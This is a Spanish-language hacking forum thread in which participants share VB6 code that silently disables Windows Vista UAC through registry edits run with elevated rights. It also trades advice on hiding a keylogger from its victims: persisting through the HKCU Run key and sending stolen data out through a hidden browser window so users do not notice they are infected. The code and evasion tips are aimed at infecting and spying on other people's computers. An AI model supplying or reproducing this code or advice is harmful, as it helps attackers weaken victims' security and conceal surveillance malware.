DESACTIVAR UAC

Iniciado por A2Corp, 23 Mayo 2009, 03:55 AM

0 Miembros y 1 Visitante están viendo este tema.

A2Corp

En un blog encontre el siguiente codigo:

Option Explicit

Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long

Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long

Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2

Const FILE_ATTRIBUTE_NORMAL = &H80

Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long

Private Type SHELLEXECUTEINFOA
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type

Const SW_NORMAL = 1
Const SW_HIDE = 0

Private Sub Form_Load()
On Error Resume Next
Dim strPath As String
Dim strBatCode As String

strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
"Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"


Write2File Environ$("TEMP") & "\temp.bat", strBatCode
strPath = Environ$("TEMP") & "\temp.bat"


If Elevate(strPath) Then
MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
Else
MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
End If

End

End Sub
Private Function Elevate(strPath As String) As Boolean


Dim ExInfo As SHELLEXECUTEINFOA
Dim lnRet As Long

With ExInfo
.cbSize = Len(ExInfo)
.fMask = 0&
.hwnd = hwnd
.lpVerb = "runas"
.lpFile = strPath
.lpParameters = vbNullChar
.lpDirectory = vbNullChar
.nShow = SW_HIDE
End With

On Error Resume Next

lnRet = ShellExecuteEx(ExInfo)

If lnRet <> 1 Then
Elevate = False
Exit Function
End If

Elevate = True

End Function
Private Sub Write2File(Filename As String, Buffer As String)
On Error Resume Next
Dim hFile As Long
Dim hWrite As Long

hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
If hFile <> 0 Then
hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
End If
CloseHandle (hFile)
End Sub



Que desactiva el UAC
aqui escribo un poco de la descripcion que puso el autor:
Citarby Mono Gramatical at/on 18:29
in

Bueno, estuve probando con algunas claves del registro del Windows Vista, y me parecio interesante dos valores EnableLUA y UACDisableNotify, la primera deshabilita la UAC y la segunda hace que no se muestre la notificación de seguridad que advierte que la UAC ha sido deshabilitada. el inconveniente con esto es que solo se pueden agregar estos valores al registro con privilegios administrativos, es por eso que opte por utilizar la API ShellExecuteEx que combinada con el verbo "Runas" hace que una determinada aplicación solicite y corra con privilegios. para ello primero creo un bat que escribe en el registro y lo ejecuto con privilegios si se acepta la uac queda deshabilitada y de esta forma puedo copiarme a las carpetas del sistema y modificar las claves que activada la UAC no podriamos modificar.

Nos es algo muy bueno pero se puede deshabilitar la UAC sin levantar sospechas

El problema es que al ejecutar el Bat SALTA el control de usuarios y volvemos al principio, :/
Alguien sabe algo respecto a como desactivar el UAC con VB?
Hackeo, luego existo...

XcryptOR

mira esto solicita privilegios de administrador para ejecutar el bat es lógico que te salte el cartel de que necesita permisos para su ejecución o no lo hace cualquier  otro programa? acaso no te has fijado que hasta los propios programas de eindows solicitan permiso de ejecucion ?, en vista aun no he visto como hacer que ese letrero de solicitud de privilegios salte, creo que no has entendido que después de ejecutar el bat con los privilegios de administrador hace que se escriban las claves necesarias para que se desactive la UAC, pero tienes que reiniciar el sistema, para que  surta efecto.

la otra manera de hacer bypass es usar claves del registro y carpetas que no sean sospechosas para la uac, el famoso kavo.exe se extendio demasiado y afecto a muchos ordenadores con vista y la uac ni enterada.

saludos



A2Corp

#2
 :-[ :-[ :-[  disculpa q no haya publicado la url de tu blog bro pero no sabia si lo tomarian como spam.
si entendi bien lo que hace el script pero crei que tambien era invisible la advertencia de correrse el bat.

Esque lo quiero usar para un Keylogger que tengo en VB y manda la info por iexplore y al estar activado el UAC las ventanas de iexplore no aparecen invisibles, porque creo que el UAC desactiva el metodo:

ShellExecute Me.hwnd, vbNullString, "iexplore.exe", sUrl &  & Cadena, "C:\", 0
deberia abrirse el iexplore de forma invisible pero se abre maximizado.


Hackeo, luego existo...

Karcrack

#3
Código (vb) [Seleccionar]
Option Explicit
'SHELL32
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_HIDE As Long = 0

Private Sub Form_Load()
   Call ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)
End Sub


A mi me funciona... Win 7...MOD: No, al final aparece

Prueba con CreateProcess/WinExec :¬¬ ;)

Por cierto, si en vez de pasar la URL como parámetro la pones directamente se abre con el Navegador por defecto ;)

Saludos ;)

A2Corp

Otra cosa, vuelvo a lo mismo....
Para poder meter con VisualBasic en el registro dentro de  "RUN" teniendo el UAC activo no se graba nada =(
Hackeo, luego existo...

XcryptOR

colocalo en la clave Run del HKEY_CURRENT_USER, eso no debe presentarte problemas



A2Corp

Gracias hermano  :D
Fue lo que hize.
ya voy burlando UAC!

Solo falta que abra el iexplore invisible.
Hackeo, luego existo...

A2Corp

Cita de: Karcrack en 23 Mayo 2009, 15:45 PM
Código (vb) [Seleccionar]
Option Explicit
'SHELL32
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_HIDE As Long = 0

Private Sub Form_Load()
   Call ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)
End Sub


A mi me funciona... Win 7...MOD: No, al final aparece

Prueba con CreateProcess/WinExec :¬¬ ;)

Por cierto, si en vez de pasar la URL como parámetro la pones directamente se abre con el Navegador por defecto ;)

Saludos ;)


pero seguiria abriendose en forma visible xD y seria muy obvio que estan infectados   :silbar:

buscare acerca de lo que me dijiste espero encontrar algo.
Hackeo, luego existo...

A2Corp

podria ser con la winsock api, no?
dejenme probar....
Hackeo, luego existo...

Novlucker

Cita de: A2Corp en 23 Mayo 2009, 22:55 PM
pero seguiria abriendose en forma visible xD y seria muy obvio que estan infectados   :silbar:

CitarCall ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein